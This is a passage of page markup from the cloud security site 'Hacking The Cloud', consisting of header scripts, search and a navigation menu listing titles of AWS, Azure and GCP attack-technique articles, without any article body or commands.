4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class=md-tabs__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2 checked> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=true> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1 checked> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=true> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <label class="md-nav__link md-nav__link--active" for=__toc> <span class=md-ellipsis> Introduction to User Data </span> <span class="md-nav__icon md-icon"></span> </label> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> Introduction to User Data </span> </a> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#how-to-access-ec2-user-data class=md-nav__link> <span class=md-ellipsis> How to Access EC2 User Data </span> </a> <nav class=md-nav aria-label="How to Access EC2 User Data"> <ul class=md-nav__list> <li class=md-nav__item> <a href=#imdsv2 class=md-nav__link> <span class=md-ellipsis> IMDSv2 </span> </a> </li> </ul> </nav> </li> <li class=md-nav__item> <a href=#api class=md-nav__link> <span class=md-ellipsis> API </span> </a> </li> </ul> </nav> </li> <li class=md-nav__item> <a href=../using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../enumeration/account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/ class=md-nav__link> <span class=md-ellipsis> Exploiting Public AWS Resources Programmatically - The Playbook </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=false> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../post_exploitation/create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/exploitation/gcp_iam_privilege_escalation/ 